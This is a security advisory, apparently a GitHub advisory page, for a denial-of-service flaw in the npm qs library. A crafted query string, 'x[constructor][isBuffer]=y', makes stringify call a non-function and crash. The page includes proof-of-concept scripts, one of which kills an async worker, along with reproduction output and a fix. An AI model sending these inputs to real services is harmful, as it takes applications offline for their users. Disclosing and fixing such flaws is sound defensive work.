qs: Denial of Service via Attacker Controlled isBuffer
Summary
qs.stringify() calls utils.isBuffer() on every value it serializes, and utils.isBuffer() invokes obj.constructor.isBuffer(obj) without checking that it is callable. A value whose own constructor.isBuffer is a non-function makes qs call a non-callable and throw TypeError. Such a value is produced by qs.parse itself from an untrusted query string when plainObjects: true or allowPrototypes: true is set, so a pure-qs parse → stringify round-trip — no JSON.parse — turns an unauthenticated query string into an uncaught throw.
An attacker-controlled parse input reaches the host application's availability asset — via qs's own recommended plainObjects mitigation — and triggers an uncaught exception during a parse → stringify round-trip.
Details
utils.isBuffer runs at lib/stringify.js:127 for every serialized value:
if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }
utils.isBuffer (lib/utils.js:327-333) invokes obj.constructor.isBuffer without verifying it is callable:
var isBuffer = function isBuffer(obj) {
if (!obj || typeof obj !== 'object') { return false; }
return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};
constructor and isBuffer are ordinary keys. qs.parse with plainObjects: true or allowPrototypes: true keeps them as own properties, so the parsed value carries a non-function constructor.isBuffer; stringify then calls a non-callable and throws TypeError. By contrast utils.isRegExp uses a brand check (Object.prototype.toString); the missing guard here is an internal inconsistency, not a platform limitation.
Trust Boundary Note
qs.stringify alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by qs.parse, whose input is untrusted by design. qs.parse normally strips a constructor key via its prototype guard, but with the documented options plainObjects: true or allowPrototypes: true the key survives and lands as an own property. Feeding the parsed object back into qs.stringify — the standard round-trip in gateways and request-forwarders — then hits the unchecked call.
PoC
poc02c_isBuffer_qs_only_roundtrip.js — pure-qs chain, no JSON.parse; an untrusted query string alone reaches the throw:
'use strict';
var qs = require('qs');
var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y
var parsed = qs.parse(untrustedQueryString, { plainObjects: true });
console.log('[parse] kept constructor key:', JSON.stringify(parsed));
try {
qs.stringify(parsed);
console.log('[stringify] no throw (unexpected)');
} catch (e) {
console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message);
}
poc02_isBuffer.js — the minimal defect:
'use strict';
var qs = require('qs');
try {
qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}'));
} catch (e) {
console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message);
}
poc02b_isBuffer_async_crash.js — worker death in an async sink:
'use strict';
var qs = require('qs');
function handleRequestAsync(clientJsonBody) {
try {
setImmediate(function () { // async continuation, outside the try
qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught
});
console.log('[handler] returned 200 synchronously; async work scheduled');
} catch (e) {
console.log('[handler] caught synchronously (will NOT happen):', e.message);
}
}
process.on('exit', function (code) {
console.log('[proc] process exiting with code:', code);
});
handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}');
Execution Steps
cd poc
npm install qs@6.15.3
node poc02c_isBuffer_qs_only_roundtrip.js # pure qs parse->stringify -> TypeError
node poc02_isBuffer.js # minimal defect -> TypeError inside stringify
node poc02b_isBuffer_async_crash.js # async sink -> uncaught throw -> exit code 1
Reproduction Evidence
poc02c_isBuffer_qs_only_roundtrip.js :
[parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}}
[stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function
poc02_isBuffer.js:
[A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function
poc02b_isBuffer_async_crash.js :
[handler] returned 200 synchronously; async work scheduled
[proc] process exiting with code: 1
TypeError: obj.constructor.isBuffer is not a function
at Object.isBuffer (.../qs/lib/utils.js:332:78)
at stringify (.../qs/lib/stringify.js:127:45)
=== EXIT CODE: 1 ===
The pure-qs round-trip shows the malicious shape originates from qs.parse of an untrusted query string, with no JSON.parse. The synchronous try/catch in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.
Impact
An unauthenticated request degrades any endpoint that re-serializes deserialized client data with qs.stringify. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on qs.
Recommended Fix
Replace the duck-type with a brand check mirroring utils.isRegExp:
var isBuffer = function isBuffer(obj) {
if (!obj || typeof obj !== 'object') { return false; }
if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') {
return Buffer.isBuffer(obj);
}
return Object.prototype.toString.call(obj) === '[object Uint8Array]';
};
If duck-typing must remain, require typeof obj.constructor.isBuffer === 'function' before invoking and wrap the call in try/catch.
Affected Packages
| Ecosystem | Package | Vulnerable Versions | Patched Version |
|---|---|---|---|
| npm |
qs
|
>= 2.2.5, < 6.16.0 |
6.16.0
|
Bump vulnerable dependencies
Open about 5 hours agoBump express from 5.2.1 to 5.3.0 in /prisma-ui/deployment
Closed 1 day agochore(deps): bump the minor-and-patch group across 1 directory with 18 updates
Open 1 day agochore(deps): bump the production-dependencies group with 6 updates
Closed 4 days agoBump the minor-patch group across 1 directory with 3 updates
Open 4 days agoBump the npm_and_yarn group across 1 directory with 16 updates
Open 6 days agochore(deps-backend): bump express from 4.22.3 to 5.3.0 in /backend
Open 6 days agobuild(deps): bump the server-minor-and-patch group across 1 directory with 15 updates
Open 9 days agoBump the server-routine group across 1 directory with 15 updates
Open 9 days agochore(deps): bump the minor-and-patch group across 1 directory with 29 updates
Open 10 days agochore(deps): bump express from 4.22.3 to 5.3.0 in /integrations/github-app
Closed 11 days agochore(deps): bump the backend-minor-patch group across 1 directory with 6 updates
Closed 12 days agochore(deps): bump express from 4.22.3 to 5.3.0 in /desktop
Closed 12 days agobuild(deps): bump the dependencies group across 1 directory with 25 updates
Closed 13 days agobuild(deps): bump the production group with 9 updates
Closed 13 days agobuild(deps): bump express from 4.22.2 to 5.3.0 in /server
Open 14 days agobuild(deps): bump the npm_backends_today_zoto_io group across 1 directory with 3 updates
Closed 14 days agochore(deps): bump the major group across 1 directory with 21 updates
Open 15 days agochore(deps): bump express from 4.22.3 to 5.3.0 in /auth
Open 15 days agoBump express from 4.22.3 to 5.3.0 in /gateway
Closed 15 days agodeps: bump the all-other-deps group across 1 directory with 7 updates
Closed 15 days agochore(deps): bump express from 4.22.3 to 5.3.0 in /backend
Open 16 days agochore(deps): bump express from 5.2.1 to 5.3.0 in /backend
Open 16 days agochore(deps): bump the prod-minor-updates group across 1 directory with 8 updates
Open 16 days agochore(deps)(deps): bump the production group across 1 directory with 50 updates
Closed 16 days agobuild(deps): bump the production-dependencies group across 1 directory with 10 updates
Open 16 days agochore(deps): bump the minor-patch group across 1 directory with 33 updates
Open 16 days agobuild(deps): bump the root-production group across 1 directory with 8 updates
Open 16 days agodeps: bump the minor-and-patch group across 1 directory with 20 updates
Closed 16 days agochore(deps): bump express from 4.22.3 to 5.3.0
Closed 17 days agoBump the npm-dependencies group with 12 updates
Open 17 days agoBump the minor-and-patch group across 1 directory with 21 updates
Open 17 days agochore(deps): bump the all-minor-patch group across 1 directory with 10 updates
Open 17 days agobuild(deps): bump express from 4.22.3 to 5.3.0
Open 17 days agoBump the npm group with 7 updates
Closed 17 days agoBump express from 4.22.1 to 5.3.0
Open 17 days agochore(deps): bump express and @types/express
Open 18 days agochore(deps): bump the server-npm-version group across 1 directory with 5 updates
Open 18 days agobuild(deps): bump the backend-minor-patch group across 1 directory with 12 updates
Closed 19 days agochore(deps): bump the minor-and-patch group across 1 directory with 18 updates
Open 19 days agoBump express from 4.22.1 to 5.3.0 in /api
Closed 19 days agoBump the minor-and-patch group across 1 directory with 18 updates
Closed 19 days agoBump express and @types/express
Open 20 days agobuild(deps): bump the npm-minor group across 1 directory with 7 updates
Closed 20 days agobuild(deps): bump the production-deps group across 1 directory with 8 updates
Closed 21 days agochore(deps): bump the backend-production group across 1 directory with 8 updates
Open 21 days agochore(deps): bump express from 5.1.0 to 5.3.0
Closed 22 days agoBump express from 4.22.3 to 5.3.0
Open 22 days agoBump the all-dependencies group across 1 directory with 11 updates
Closed 22 days agoBump the production-dependencies group across 1 directory with 16 updates
Open 23 days agoActions
Advisory Details
| Published: | September 02, 2026 3 months ago |
| Updated: | November 03, 2026 15 days ago |
| CVSS Score: | 6.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N |
| EPSS: | 0.40% 34th percentile |
| Source: | Github |
| Classification: | GENERAL |
| UUID: | GSA_kwCzR0hTQS00bWpyLXhtcDQtZ2gyZ84ABodM |